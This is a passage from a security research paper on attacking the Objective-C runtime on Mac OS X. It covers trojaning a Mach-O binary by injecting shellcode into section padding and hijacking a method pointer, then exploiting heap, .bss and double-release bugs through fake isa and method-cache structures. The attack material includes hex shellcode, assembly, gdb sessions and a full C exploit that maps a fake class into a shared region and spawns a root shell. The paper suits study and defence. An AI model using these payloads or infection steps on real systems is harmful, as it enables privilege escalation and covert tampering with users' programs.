This means there's 16 bytes of padding in the file that we can use to store
our code.  If needed, however since our code is quite a bit bigger than
this it would be painful to squeeze it into the padding here.

Fortunately we can utilize the  __OBJC.__image_info section. There is a
tone of padding straight after this section.

Section
  sectname __image_info
   segname __OBJC
      addr 0x000030c8
      size 0x00000008
    offset 8392
     align 2^2 (4)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0

So this is where we can store our code. 
But first, we need to increase the size of this section in the header.
We can do this using HTE [20]. 

**** section 7 ****
section name                                      __image_info
segment name                                      __OBJC
virtual address                                   000030c8
virtual size                                      00000008
file offset                                       000020c8
alignment                                         00000002
relocation file offset                            00000000
number of relocation entries                      00000000
flags                                             00000000
reserved1                                         00000000
reserved2                                         00000000  

We simply press the f4 key to edit this once we're in Mach-O header mode.

**** section 7 ****
section name                                      __image_info
segment name                                      __OBJC
virtual address                                   000030c8
virtual size                                      00000030
file offset                                       000020c8
alignment                                         00000002
relocation file offset                            00000000
number of relocation entries                      00000000
flags                                             00000000
reserved1                                         00000000
reserved2                                         00000000  

Once this is done we save our file, and return to hex edit mode.
In hex view we press f5, and type in our file offset. 0x20c8.
Once our cursor is at this position we move to the right 8 bytes, and then
press f4 to enter edit mode. Then we paste our string of bytes:

31c06a0aeb0850b00450cd80eb10e8f3ffffff696e666563746564210a00cc

Then we save our file and run it.

000020c0 ec 1f 00 00 c9 1f 00 00-00 00 00 00 00 00 00 00 |??  ??          
000020d0 31 c0 6a 0a eb 08 50 b0-04 50 cd 80 eb 10 e8 f3 |
000020e0 ff ff ff 69 6e 66 65 63-74 65 64 21 0a 00 cc 00 |???infected!? ?
000020f0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 |

By running this binary in gdb, we can stick a breakpoint on the main
function and then call our shellcode in memory.

Breakpoint 1, 0x00001f41 in main ()
(gdb) set $eip=0x30d0
(gdb) c
Continuing.
infected!

Program received signal SIGTRAP, Trace/breakpoint trap.
0x000030ef in .objc_class_name_Talker ()

As you see our shellcode executed fine. However we have got a problem.

-[dcbz@megatron:~/code]$ ./hello
objc[8268]: '/Users/dcbz/code/./hello' has inconsistently-compiled
Objective-C code. Please recompile all code in it.
Hello World!

The Objective-C runtime has ratted us out!! 

grep'ing the source code for this we can see the appropriate check:

    // Make sure every copy of objc_image_info in this image is the same.
    // This means same version and same bitwise contents.
    if (result->info) {
        const objc_image_info *start = result->info;
        const objc_image_info *end =
            (objc_image_info *)(info_size + (uint8_t *)start);
        const objc_image_info *info = start;
        while (info < end) {
            // version is byte size, except for version 0
            size_t struct_size = info->version;
            if (struct_size == 0) struct_size = 2 * sizeof(uint32_t);
            if (info->version != start->version  ||
                0 != memcmp(info, start, struct_size))
            {  
                _objc_inform("'%s' has inconsistently-compiled Objective-C
"
                            "code. Please recompile all code in it.",
                            _nameForHeader(header));
            }
            info = (objc_image_info *)(struct_size + (uint8_t *)info);
        }
    }

     
The way I got around this at the moment was to change the name of the
section from __imagine_info to __1mage_info. Honestly I don't even
understand why this section exists, but it works fine this way.

**** section 7 ****
section name                                      __1mage_info
segment name                                      __OBJC
virtual address                                   000030c8
virtual size                                      00000030
file offset                                       000020c8
alignment                                         00000002
relocation file offset                            00000000
number of relocation entries                      00000000
flags                                             00000000
reserved1                                         00000000
reserved2                                         00000000

So now our shellcode is in memory, we need to gain control of execution
somehow.

The __inst_meth section contains a pointer to each of our methods. The way
I plan to gain control of execution is to modify the pointer to our "say:"
method with a pointer to our shellcode.

Section
  sectname __inst_meth
   segname __OBJC
      addr 0x00003070
      size 0x00000014
    offset 8304
     align 2^2 (4)
    reloff 0
    nreloc 0
     flags 0x00000000
 reserved1 0
 reserved2 0

To test our theory out, we can first seek to the __inst_meth section in
HTE...

00002070 00 00 00 00 01 00 00 00-d0 1f 00 00 d5 1f 00 00 |    ?   ??  ??  
00002080[2a 1f 00 00]07 00 00 00-10 00 00 00 bf 1f 00 00 |*?  ?   ?   ??
00002090 a4 30 00 00 07 00 00 00-10 00 00 00 bf 1f 00 00 |?0  ?   ?   ??
000020a0 30 20 00 00 00 00 00 00-00 00 00 00 01 00 00 00 |0           ?

... And change our pointer to 0xdeadbeef as so:

00002070 00 00 00 00 01 00 00 00-d0 1f 00 00 d5 1f 00 00 |    ?   ??  ??
00002080[ef be ad de]07 00 00 00-10 00 00 00 bf 1f 00 00 |?????   ?   ??
00002090 a4 30 00 00 07 00 00 00-10 00 00 00 bf 1f 00 00 |?0  ?   ?   ??
000020a0 30 20 00 00 00 00 00 00-00 00 00 00 01 00 00 00 |0           ?

This way when we start up our application and test it...

(gdb) r
Starting program: /Users/dcbz/code/hello 
Reading symbols for shared libraries +++++...................... done

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0xdeadbeef
0xdeadbeef in ?? ()
(gdb) 

... we can see that execution control is pretty straight forward.

Now if we change this value from 0xdeadbeef to the address of our shellcode
in the __1mage_info section. (0x30c8) and run the binary, we can see the
results.

-[dcbz@megatron:~/code]$ ./hello
infected!
Trace/BPT trap

As you can see, we have successfully gained control of execution and
executed our shellcode, however the SIGTRAP caused by the int3 in our code
isn't very inconspicuous. In order to fix this we'll need to add some code
to jump back to the previous value of our method. The following
instructions take care of this nicely:

nasm > mov ecx,0xdeadbeef
00000000  B9EFBEADDE        mov ecx,0xdeadbeef
nasm > jmp ecx
00000000  FFE1              jmp ecx

Another thing we need to take care of before resuming execution is
restoring the stack and registers to their previous state. This way when
we resume execution it will be like our code never executed.

The final version of our payload looks something like:

BITS 32
SECTION .text
_main:
        pusha
        xor     eax,eax
        push    byte 0xa
        jmp     short down
up:
        push    eax
        mov     al,0x04
        push    eax  ; fake
        int     0x80
        jmp     short end
down:
        call up
db      "infected!",0x0a,0x00
end:
        push    byte 16
        pop     eax
        add     esp,eax
        popa
        mov     ecx,0xdeadbeef
        jmp     ecx

If we assembly it, and change 0xdeadbeef to the address of our old function
0x1f2a the code looks like this.

6031c06a0aeb0850b00450cd80eb10e8f3ffffff696e666563746564210a006a105801c4
61b92a1f0000ffe1

We inject this into our binary using hte again...

000020c0 ec 1f 00 00 c9 1f 00 00-60 31 c0 6a 0a eb 08 50 
000020d0 b0 04 50 cd 80 eb 10 e8-f3 ff ff ff 69 6e 66 65
000020e0 63 74 65 64 21 0a 00 6a-10 58 01 c4 61 b9 2a 1f 
000020f0 00 00 ff e1 00 00 00 00-00 00 00 00 00 00 00 00 

... and run the binary.

-[dcbz@megatron:~/code]$ ./hello
infected!
Hello World!

Presto! Our binary is infected. I'm not going to bother implementing this
in assembly right now, but it would be easy enough to do.

--[ 5 - Exploiting Objective-C Applications

Hopefully at this stage you're fairly familiar with the Objective-C
runtime. In this section we'll look at some of the considerations of
exploiting an Objective-C application on Mac OS X.

In order to explore this, we'll first start by looking at what happens when
an object allocation (alloc method) occurs for an Objective-C class.

So basically, when the alloc method is called ([Object alloc]) the
_internal_class_creatInstanceFromZone function is called in the Objective-C
runtime. The source code for this function is shown below.

/***********************************************************************
* _internal_class_createInstanceFromZone.  Allocate an instance of the
* specified class with the specified number of bytes for indexed
* variables, in the specified zone.  The isa field is set to the
* class, C++ default constructors are called, and all other fields are zeroed.
**********************************************************************/
__private_extern__ id
_internal_class_createInstanceFromZone(Class cls, size_t extraBytes,
                                       void *zone)
{
    id obj;
    size_t size;

    // Can't create something for nothing
    if (!cls) return nil;

    // Allocate and initialize
    size = _class_getInstanceSize(cls) + extraBytes;
    if (UseGC) {
        obj = (id) auto_zone_allocate_object(gc_zone, size,
                                        AUTO_OBJECT_SCANNED, false, true);
    } else if (zone) {
        obj = (id) malloc_zone_calloc (zone, 1, size);
    } else {
        obj = (id) calloc(1, size);
    }
    if (!obj) return nil;

    // Set the isa pointer
    obj->isa = cls;

    // Call C++ constructors, if any.
    if (!object_cxxConstruct(obj)) {
        // Some C++ constructor threw an exception. 
        if (UseGC) {
            auto_zone_retain(gc_zone, obj);  
		// gc free expects retain count==1
        }
        free(obj);
        return nil;
    }

    return obj;
}

As you can see, this function basically just looks up the size of the class
and uses calloc to allocate some (zero filled) memory for it on the heap.

From the code above we can see that the calls to calloc etc allocate memory 
from the default malloc zone. This means that the class meta-data and
contents are stored in amongst any other allocations the program makes.
Therefore, any overflows on the heap in an objc application are liable
to end up overflowing into objc meta-data. We can utilize this to gain
control of execution.

/***********************************************************************
* _objc_internal_zone.
* Malloc zone for internal runtime data.
* By default this is the default malloc zone, but a dedicated zone is 
* used if environment variable OBJC_USE_INTERNAL_ZONE is set.
**********************************************************************/

However, if you set the OBJC_USE_INTERNAL_ZONE environment variable before
running the application, the Objective-C runtime will use it's own malloc
zone. This means the objc meta-data will be stored in another mapping, and
will stop these attacks. This is probably worth doing for any services you
run regularly (written in objective-c) just to mix up the address space a
bit.

The first thing we'll look at, in regards to this process, is how the class
size is calculated. This will determine which region on the heap this
allocation takes place from. (Tiny/Small/Large/Huge). For more information
on how the userspace heap implementation (Bertrand's malloc) works, you can
check my heap exploitation techniques paper [11].]

As you saw in the code above, when the 
_internal_class_createInstanceFromZone function wants to determine the size
of a class, the first step it takes is to call the _class_getInstanceSize() 
function.

This basically just looks up the instance_size attribute from inside our
class struct. This means we can easily predict which region of the heap our
particular object will reside.

Ok, so now we're familiar with how the object is allocated we can explore
this in memory.

The first step is to copy the HelloWorld sample application we made earlier
to ofex1 as so...

-[dcbz@megatron:~/code]$ cp -r HelloWorld/ ofex1

We can then modify the hello.c file to perform an allocation with malloc()
prior to the class being alloc'ed.

The code then uses strcpy() to copy the first argument to this program into
our small buffer on the heap. With a large argument this should overflow
into our objective-c object.

include <stdio.h>
#include <stdlib.h>
#import "Talker.h"

int main(int ac, char **av)
{
        char *buf = malloc(25);
        Talker *talker = [[Talker alloc] init];
        printf("buf: 0x%x\n",buf);
        printf("talker: 0x%x\n",talker);
        if(ac != 2) {
                exit(1);
        }
        strcpy(buf,av[1]);
        [talker say: "Hello World!"];
        [talker release];
}

Now if we recompile our sample code, and fire up gdb, passing in a long
argument, we can begin to investigate what's needed to gain control of
execution.

(gdb) r `perl -e'print "A"x5000'`
Starting program: /Users/dcbz/code/ofex1/build/hello `perl -e'print
"A"x5000'`
buf: 0x103220
talker: 0x103260

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x41414161
0x9470d688 in objc_msgSend ()

As you can see from the output above, buf is 64 bytes lower on the heap
than talker. This means overflowing 68 bytes will overwrite the isa pointer
in our class struct.

This time we run the program again, however we stick 0xcafebabe where our
isa pointer should be.

(gdb) r `perl -e'print "A"x64,"\xbe\xba\xfe\xca"'`
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /Users/dcbz/code/ofex1/build/hello `perl -e'print
"A"x64,"\xbe\xba\xfe\xca"'`
buf: 0x1032c0
talker: 0x103300

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0xcafebade
0x9470d688 in objc_msgSend ()
(gdb) x/i $pc
0x9470d688 <objc_msgSend+24>:   mov    edi,DWORD PTR [edx+0x20]
(gdb) i r edx
edx            0xcafebabe       -889275714

We have now controlled the ISA pointer and a crash has occured offsetting
this by 0x20 and reading. However, we're unsure at this stage what exactly
is going on here. 

In order to explore this, let's take a look at the source code for
objc_msgSend again.

// load receiver and selector
        movl    selector(%esp), %ecx
        movl    self(%esp), %eax

// check whether selector is ignored
        cmpl    $ kIgnore, %ecx
        je      LMsgSendDone            // return self from %eax

// check whether receiver is nil
        testl   %eax, %eax
        je      LMsgSendNilSelf

// receiver (in %eax) is non-nil: search the cache
LMsgSendReceiverOk:
	// -( nemo )- :: move our overwritten ISA pointer to edx.
        movl    isa(%eax), %edx         // class = self->isa 
	// -( nemo )- :: This is where our crash takes place.
	// in the CachLookup macro.
        CacheLookup WORD_RETURN, MSG_SEND, LMsgSendCacheMiss
        movl    $kFwdMsgSend, %edx      // flag word-return for _objc_msgForward
        jmp     *%eax                   // goto *imp


From the code above we can determine that our crash took place within the
CacheLookup macro. This means in order to gain control of execution from
here we're going to need a little understanding of how method caching works
for Objective-C classes.

Let's start by taking a look at our objc_class struct again. 

       struct objc_class
        { 
           struct objc_class* isa;
           struct objc_class* super_class;
           const char* name;
           long version;
           long info;
           long instance_size;
           struct objc_ivar_list* ivars;
           struct objc_method_list** methodLists;
           struct objc_cache* cache;
           struct objc_protocol_list* protocols;
        };

We can see above that 32 bytes (0x20) into our struct is the cache pointer
(a pointer to a struct objc_cache instance). Therefore the instruction that
our crash took place in, is derefing the isa pointer (that we overwrote)
and trying to access the cache attribute of this struct.

Before we get into how the CacheLookup macro works, lets quickly
familiarize ourselves with how the objc_cache struct looks.

struct objc_cache {
    unsigned int mask;            /* total = mask + 1 */
    unsigned int occupied;
    cache_entry *buckets[1];
};

The two elements we're most concerned about are the mask and buckets. The
mask is used to resolve an index into the buckets array. I'll go into that
process in more detail as we read the implementation of this. The buckets
array is made up of cache_entry structs (shown below).

typedef struct {
    SEL name;     // same layout as struct old_method
    void *unused;
    IMP imp;  // same layout as struct old_method
} cache_entry;

Now let's step through the CachLookup source now and we can look at the
process of checking the cache and what we control with an overflow.

.macro  CacheLookup

// load variables and save caller registers.

        pushl   %edi                    // save scratch register
        movl    cache(%edx), %edi       // cache = class->cache
        pushl   %esi                    // save scratch register

This initial load into edi is where our bad access is performed. We are
able to control edx here (the isa pointer) and therefore control edi.

        movl    mask(%edi), %esi        // mask = cache->mask

First the cache struct is dereferenced and the "mask" is moved into esi.
We control the outcome of this, and therefore control the mask.

        leal    buckets(%edi), %edi     // buckets = &cache->buckets

The address of the buckets array is moved into edi with lea. This will come
straight after our mask and occupied fields in our fake objc_cache struct.

        movl    %ecx, %edx              // index = selector
        shrl    $$2, %edx               // index = selector >> 2

The address of the selector (c string) which was passed to objc_msgSend()
as the method name is then moved into ecx. We do not control this at all.
I mentioned earlier that selectors are basically c strings that have been
registered with the runtime. The process we are looking at now, is used to
turn the Selector's address into an index into the buckets array. This
allows for quick location of our method. As you can see above, the first
step of this is to shift the pointer right by 2.

        andl    %esi, %edx              // index &= mask
        movl    (%edi, %edx, 4), %eax   // method = buckets[index]

Next the mask is applied. Typically the mask is set to a small value
in order to reduce our index down to a reasonable size. Since we control
the mask, we can control this process quite effectively.

Once the index is determined it is used in conjunction with the base
address of the buckets array in order to move one of the bucket entries
into eax.

        testl   %eax, %eax              // check for end of bucket
        je      LMsgSendCacheMiss_$0_$1_$2      // go to cache miss code

If the bucket does not exist, it is assumed that a CacheMiss was performed,
and the method is resolved manually using the technique we described early
on in this paper.

        cmpl    method_name(%eax), %ecx // check for method name match
        je      LMsgSendCacheHit_$0_$1_$2       // go handle cache hit

However if the bucket is non-zero, the first element is retrieved which
should be the same selector that was passed in. If that is the cache, then
it is assumed that we've found our IMP function pointer, and it is called.

        addl    $$1, %edx                       // bump index ...
        jmp     LMsgSendProbeCache_$0_$1_$2 // ... and loop

Otherwise, the index is incremented and the whole process is attempted
again until a NULL bucket is found or a CacheHit occurs.

Ok, so taking this all home, lets apply what we know to our vulnerable
sample application.

We've accomplished step #1, we've overflown and controlled the isa pointer.
The next thing we need to do is find a nice patch of memory where we can
position our fake objective-c class information and predict it's address.

There are many different techniques for this and almost all of them are
situational. For a remote attack, you may wish to spray the heap, filling
all the gaps in until you can predict what's at a static location. However
in the case of a local overflow, the most reliable technique I know I wrote
about in my "a XNU Hope" paper [13]. Basically the undocumented system call
SYS_shared_region_map_file_np is used to map portions of a file into a
shared mapping across all the processes on the system. Unfortunately after
I published that paper, Apple decided to add a check to the system call to
make sure that the file being mapped was owned by root. KF originally
pointed this out to me when leopard was first released, and my macbook was
lying broken under my bed. He also noted, that there were many root owned
writable files on the system generally and so he could bypass this quite
easily. 

-[dcbz@megatron:~]$ ls -lsa /Applications/.localized 
8 -rw-rw-r--  1 root  admin  8 Apr 11 19:54 /Applications/.localized

An example of this is the /Applications/.localized file. This is at least
writeable by the admin user, and therefore will serve our purpose in this
case. However I have added a section to this paper (5.1) which demonstrates
a generic technique for reimplementing this technique on Leopard. I got
sidetracked while writing this paper and had to figure it out.

For now we'll just use /Applications/.localized however, in order to reduce
the complexity of our example.

Ok so now we know where we want to write our data, but we need to work out
exactly what to write. The lame ascii diagram below hopefully demonstrates
my idea for what to write.

       ,_____________________,
ISA -> |                     |  
       |        mask=0       |<-,
       |      occupied       |  |
   ,---|      buckets        |  |
   '-->| fake bucket: SEL    |  |
       | fake bucket: unused |  |
       | fake bucket: IMP    |--|--,
       |                     |  |  |
       |                     |  |  |
ISA+32>|   cache pointer     |--'  |
       |                     |     |
       |     SHELLCODE       |<----'
       '_____________________'

So basically what will happen, the ISA will be dereferenced and 32 will be
added to retrieve the cache pointer which we control. The cache pointer
will then point back to our first address where the mask value will be
retrieved. I used the value 0x0 for the mask, this way regardless of the
value of the selector the end result for the index will be 0. This way we
can stick the pointer from the selector we want to support (taken from ecx
in objc_msgSend.) at this position, and force a match. This will result in
the IMP being called. We point the imp at our shellcode below our cache
pointer and gain control of execution.

Phew, glad that explanation is out of the way, now to show it in code,
which is much much easier to understand. Before we begin to actually write
the code though, we need to retrieve the value of the selector, so we can 
use it in our code.

In order to do this, we stick a breakpoint on our objc_msgSend() call in
gdb and run the program again.

(gdb) break *0x00001f83 
Breakpoint 1 at 0x1f83
(gdb) r AAAAAAAAAAAAAAAAAAAAA
Starting program: /Users/dcbz/code/ofex1/build/hello AAAAAAAAAAAAAAAAAAAAA
buf: 0x103230
talker: 0x103270

Breakpoint 1, 0x00001f83 in main ()
(gdb) x/i $pc
0x1f83 <main+194>:      call   0x400a <dyld_stub_objc_msgSend>
(gdb) stepi
0x0000400a in dyld_stub_objc_msgSend ()
(gdb) 
0x94e0c670 in objc_msgSend ()
(gdb) 
0x94e0c674 in objc_msgSend ()
(gdb) s
0x94e0c678 in objc_msgSend ()
(gdb) x/s $ecx
0x1fb6 <main+245>:       "say:"

As you can see, the address of our selector is 0x1fb6.

(gdb) info share $ecx
  2 hello                 - 0x1000            exec Y Y
/Users/dcbz/code/ofex1/build/hello (offset 0x0)

If we get some information on the mapping this came from we can see it was
directly from our binary itself. This address is going to be static each
time we run it, so it's acceptable to use this way. 

Ok now that we've got all our information intact, I'll walk through a 
finished exploit for this.


#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/types.h>
#include <mach/vm_prot.h>
#include <mach/i386/vm_types.h>
#include <mach/shared_memory_server.h>
#include <string.h>
#include <unistd.h>

#define BASE_ADDR 0x9ffff000
#define PAGESIZE  0x1000
#define SYS_shared_region_map_file_np 295

We're going to map our data, at the page 0x9ffff000-0xa0000000 this way
we're guaranteed that we'll have an address free of NULL bytes.

char nemox86exec[] = 
// x86 execve() code / nemo
"\x31\xc0\x50\xb0\xb7\x6a\x7f\xcd"
"\x80\x31\xc0\x50\xb0\x17\x6a\x7f"
"\xcd\x80\x31\xc0\x50\x68\x2f\x2f"
"\x73\x68\x68\x2f\x62\x69\x6e\x89"
"\xe3\x50\x54\x54\x53\x53\xb0\x3b"
"\xcd\x80";
 

I'm using some simple execve("/bin/sh") shellcode for this. But obviously
this is just for local vulns.


struct _shared_region_mapping_np {
        mach_vm_address_t       address;
        mach_vm_size_t          size;
        mach_vm_offset_t        file_offset;
        vm_prot_t               max_prot;   /* read/write/execute/COW/ZF */
        vm_prot_t               init_prot;  /* read/write/execute/COW/ZF */
};

struct cache_entry {
    char *name;     // same layout as struct old_method
    void *unused;
    void (*imp)();  // same layout as struct old_method
};

struct objc_cache {
    unsigned int mask;            /* total = mask + 1 */
    unsigned int occupied;
    struct cache_entry *buckets[1];
};

struct our_fake_stuff {
	struct objc_cache fake_cache;
	char filler[32 - sizeof(struct objc_cache)];
	struct objc_cache *fake_cache_ptr;
};

We define our structs here. I created a "our_fake_stuff" struct in order to
hold the main body of our exploit. I guess I should have stuck the
objc_cache struct we're using in here. But I'm not going to go back and
change it now... ;p

#define ROOTFILE "/Applications/.localized"

This is the file which we're using to store our data before we load it into
the shared section.

int main(int ac, char **av)
{
	int fd;
	struct _shared_region_mapping_np sr;
	char data[PAGESIZE];
	char *ptr = data + PAGESIZE - sizeof(nemox86exec) - sizeof(struct our_fake_stuff) - sizeof(struct objc_cache);
	long knownaddress;
	struct our_fake_stuff ofs;
	struct cache_entry bckt;
	#define EVILSIZE 69
	char badbuff[EVILSIZE];
	char *args[] = {"./build/hello",badbuff,NULL};
	char *env[]  = {"TERM=xterm",NULL};

So basically I create a char[] buff PAGESIZE in size where I store
everything I want to map into the shared section. Then I write the whole
thing to a file. args and env are used when I execve the vulnerable
program.
	
	printf("[+] Opening root owned file: %s.\n", ROOTFILE);
	if((fd=open(ROOTFILE,O_RDWR|O_CREAT))==-1)
	{
		perror("open");
		exit(EXIT_FAILURE);
	}

I open the root owned file...

	// fill our data buffer with nops. Why? Why not!
	memset(data,'\x90',sizeof(data));

	knownaddress = BASE_ADDR + PAGESIZE - sizeof(nemox86exec) - 
	sizeof(struct our_fake_stuff) - sizeof(struct objc_cache);

knownaddress is a pointer to the start of our data. We position all our
data towards the end of the mapping to reduce the chance of NULL bytes.

	ofs.fake_cache.mask       = 0x0;        // mask = 0 
	ofs.fake_cache.occupied   = 0xcafebabe; // occupied
	ofs.fake_cache.buckets[0] = knownaddress + sizeof(ofs);

The ofs struct is set up according to the method documented above. The mask
is set to 0, so that our index ends up becoming 0. Occupied can be any
value, I set it to 0xcafebabe for fun. Our buckets pointer basically just
points straight after itself. This is where our cache_entry struct is going
to be stored.

	bckt.name   = (char *)0x1fb6; // our SEL
	bckt.unused = (void *)0xbeef; // unused
	bckt.imp    = (void (*)())(knownaddress + 
			sizeof(struct our_fake_stuff) + 
			sizeof(struct objc_cache)); // our shellcode

Now we set up the cache_entry struct. Name is set to our selector value
which we noted down earlier. Unused can be set to anything. Finally imp is
set to the end of both of our structs. This function pointer will be called
by the objective-c runtime, after our structs are processed. 

	// set our filler to "A", who cares.
	memset(ofs.filler,'\x41',sizeof(ofs.filler));
	ofs.fake_cache_ptr = (struct objc_cache *)knownaddress;

Next, we fill our filler with "A", this can be anything, it's just a pad so
that our fake_cache_ptr will be 32 bytes from the start of our ISA struct.
Our fake_cache_ptr is set up to point back to the start of our data
(knownaddress). This way our fake_cache struct is processed by the runtime.

	// stick our struct in data.
	memcpy(ptr,&ofs,sizeof(ofs));
	// stick our cache entry after that
	memcpy(ptr+sizeof(ofs),&bckt,sizeof(bckt));
	// stick our shellcode after our struct in data.
	memcpy(ptr+sizeof(ofs)+sizeof(bckt),nemox86exec
		,sizeof(nemox86exec));

Now that our structs are set up, we simply memcpy() each of them into the
appropriate position within the data[] blob....

	printf("[+] Writing out data to file.\n");
	if(write(fd,data,PAGESIZE) != PAGESIZE)
	{
		perror("write");
		exit(EXIT_FAILURE);
	}

... And write this out to our file.

	sr.address     = BASE_ADDR;
	sr.size        = PAGESIZE;
	sr.file_offset = 0;
	sr.max_prot    = VM_PROT_EXECUTE | VM_PROT_READ | VM_PROT_WRITE;
	sr.init_prot   = VM_PROT_EXECUTE | VM_PROT_READ | VM_PROT_WRITE; 

	printf("[+] Mapping file to shared region.\n");

	if(syscall(SYS_shared_region_map_file_np,fd,1,&sr,NULL)==-1)
	{
		perror("shared_region_map_file_np");
		exit(EXIT_FAILURE);
	}


	close(fd);

Our file is then mapped into the shared region, and our fd discarded.

	printf("[+] Fake Objective-C chunk at: 0x%x.\n", knownaddress);

	memset(badbuff,'\x41',sizeof(badbuff));
	//knownaddress = 0xcafebabe;
	badbuff[sizeof(badbuff) - 1] = 0x0;
	badbuff[sizeof(badbuff) - 2] = (knownaddress & 0xff000000) >> 24;
	badbuff[sizeof(badbuff) - 3] = (knownaddress & 0x00ff0000) >> 16;
	badbuff[sizeof(badbuff) - 4] = (knownaddress & 0x0000ff00) >>  8;
	badbuff[sizeof(badbuff) - 5] = (knownaddress & 0x000000ff) >>  0;
	printf("[+] Executing vulnerable app.\n");

Before finally we set up our badbuff, which will be argv[1] within our
vulnerable application. knownaddress (The address of our data now stored
within the shared region.) is used as the ISA pointer.

	execve(*args,args,env);

	// not reached.
	exit(0);
}

For your convenience I will include a copy of this exploit/vuln along with
most of the other code in this paper, uuencoded at the end.

As you can see from the following output, running our exploit works as
expected. We're dropped to a shell. (NOTE: I chown root;chmod +s'ed the
build/hello file for effect.)

-[dcbz@megatron:~/code/ofex1]$ ./exploit 
[+] Opening root owned file: /Applications/.localized.
[+] Writing out data to file.
[+] Mapping file to shared region.
[+] Fake Objective-C chunk at: 0x9fffffa5.
[+] Executing vulnerable app.
buf: 0x103500
talker: 0x103540
bash-3.2# id
uid=0(root)

Hopefully in this section I have provided a viable method of exploiting
heap overflows in an Objective-c Environment.

Another technique revolving around overflowing Objective-C meta-data is an
overflow on the .bss section. This section is used to store static/global
data that is initially zero filled.

Generally with the way gcc lays out the binary, the __class section comes
straight after the .bss section. This means that a largish overflow on the
.bss will end up overwriting the isa class definition structs, rather than
the instantiated classes themselves, as in the previous example.

In order to test out what will happen we can modify our previous example to
move buf from the heap to the .bss. I also changed the printf responsible
for printing the address of the Talker class, to deref the first element
and print the address of it's isa instead.

#include <stdio.h>
#include <stdlib.h>
#import "Talker.h"

char buf[25];

int main(int ac, char **av) 
{
        Talker *talker = [[Talker alloc] init];
        printf("buf: 0x%x\n",buf);
        printf("talker isa: 0x%x\n",*(long *)talker);
        if(ac != 2) {
                exit(1);
        }
        strcpy(buf,av[1]);
        [talker say: "Hello World!"];
        [talker release];
}

When we compile this and run it in gdb, we can see a couple of things.
Firstly, that the talkers isa struct is only around 4096 bytes apart from
our buffer. 

(gdb) r `perl -e'print "A"x4150'`
Starting program: /Users/dcbz/code/ofex2/build/hello `perl -e'print
"A"x4150'`
Reading symbols for shared libraries +++++...................... done
buf: 0x2040
talker isa: 0x3000

We also get a crash in the following instruction:

Program received signal EXC_BAD_ACCESS, Could not access memory.
Reason: KERN_INVALID_ADDRESS at address: 0x41414141
0x94e0c68c in objc_msgSend ()
(gdb) x/i $pc
0x94e0c68c <objc_msgSend+28>:   mov    0x0(%edi),%esi
(gdb) i r edi
edi            0x41414141       1094795585

This instruction looks pretty familiar from our previous example.
As you can guess, this instruction is looking up the cache pointer, exactly
the same as our previous example. The only real difference is that we're
skipping a step. Rather than overflowing the ISA pointer and then creating
a fake ISA struct, we simply have to create a fake cache in order to gain
control of execution.

I'm not going to bother playing this one out for you guys in the paper,
cause this monster is already getting quite long as it is. I'll include the
sample code in the uuencoded section at the end though, feel free to play
with it.

As you can imagine, you simply need to set up memory as such:

       ,_____________________,
       |        mask=0       |   
       |      occupied       |   
   ,---|      buckets        |    
   '-->| fake bucket: SEL    |   
       | fake bucket: unused |   
       | fake bucket: IMP    |-----,
       |     SHELLCODE       |<----'
       '_____________________'

and point edi to the start of it to gain control of execution.

These two techniques provide some of the easiest ways to gain control of
execution from a heap or .bss overflow that i've seen on Mac OS X.

The last type of bug which I will explore in this paper, is the double 
"release". This is a double free of an Objective-C object.

The following code demonstrates this situation.

#include <stdio.h>
#include <stdlib.h>
#import "Talker.h"


int main(int ac, char **av)
{
        Talker *talker = [[Talker alloc] init];
        printf("talker: 0x%x\n",talker);
        printf("Talker is: %i bytes.\n", sizeof(Talker));
        if(ac != 2) {
                exit(1);
        }
        char *buf  = strdup(av[1]);
        printf("buf @ 0x%x\n",buf);
        [talker say: "Hello World!"];
        [talker release];	// Free
        [talker release];	// Free again...
}

If we compile and execute this code in gdb, the following situation occurs:


-[dcbz@megatron:~/code/p66-objc/ofex3]$ gcc Talker.m hello.m
-framework Foundation -o hello
-[dcbz@megatron:~/code/p66-objc/ofex3]$ gdb ./hello
GNU gdb 6.3.50-20050815 (Apple version gdb-768) 
Copyright 2004 Free Software Foundation, Inc.

(gdb) r AA
Starting program: /Users/dcbz/code/p66-objc/ofex3/hello AA
talker: 0x103280
Talker is: 4 bytes.
buf @ 0x1032d0
Hello World!
objc[1288]: FREED(id): message release sent to freed object=0x103280

Program received signal EXC_BAD_INSTRUCTION, Illegal instruction/operand.
0x90c65bfa in _objc_error ()
(gdb) x/i $pc
0x90c65bfa <_objc_error+116>:   ud2a   
(gdb) 

This ud2a instruction is guaranteed to throw an Illegal instruction and
terminate the process. This is Apple's protection against double releases.

If we look at what's happening in the source we can see why this occurs.

__private_extern__ IMP _class_lookupMethodAndLoadCache(Class cls, SEL sel)
{
    Class curClass;
    IMP methodPC = NULL;

    // Check for freed class
    if (cls == _class_getFreedObjectClass())
        return (IMP) _freedHandler;

As you can see, when the lookupMethodAndLoadCache function is called, 
(when the release method is called) the cls pointer is compared with the
result of the _class_getFreeObjectClass() function. This function returns
the address of the previous class which was released by the runtime. If a
match is found, the _freedHandler function is returned, rather than the
desired method implementation. _freedHandler is responsible for outputting
a message in syslog() and then using the ud2a instruction to terminate the
process.

This means that any method call on a free()'ed object will always
error out. However, if another object is released inbetween, the behaviour
is different.

To investigate this we can use the following program:

#include <stdio.h>
#include <stdlib.h>
#import "Talker.h"


int main(int ac, char **av)
{
        Talker *talker = [[Talker alloc] init];
        Talker *talker2 = [[Talker alloc] init];
        printf("talker: 0x%x\n",talker);
        printf("talker is: %i bytes.\n", malloc_size(talker));
        if(ac != 2) {
                exit(1);
        }
        [talker release];
        [talker2 release];
        int i;
        for(i=0; i<=50000 ; i++) {
                char *buf  = strdup(av[1]);
        //printf("buf @ 0x%x\n",buf);
                // leak badly
        }
        [talker say: "Hello World!"];
        [talker release];
}

If we run this, with gdb attached, we can see that it crashes in the
following instruction.

(gdb) r aaaa
The program being debugged has been started already.
Start it from the beginning? (y or n) y
Starting program: /Users/dcbz/code/p66-objc/ofex3/hello aaaa
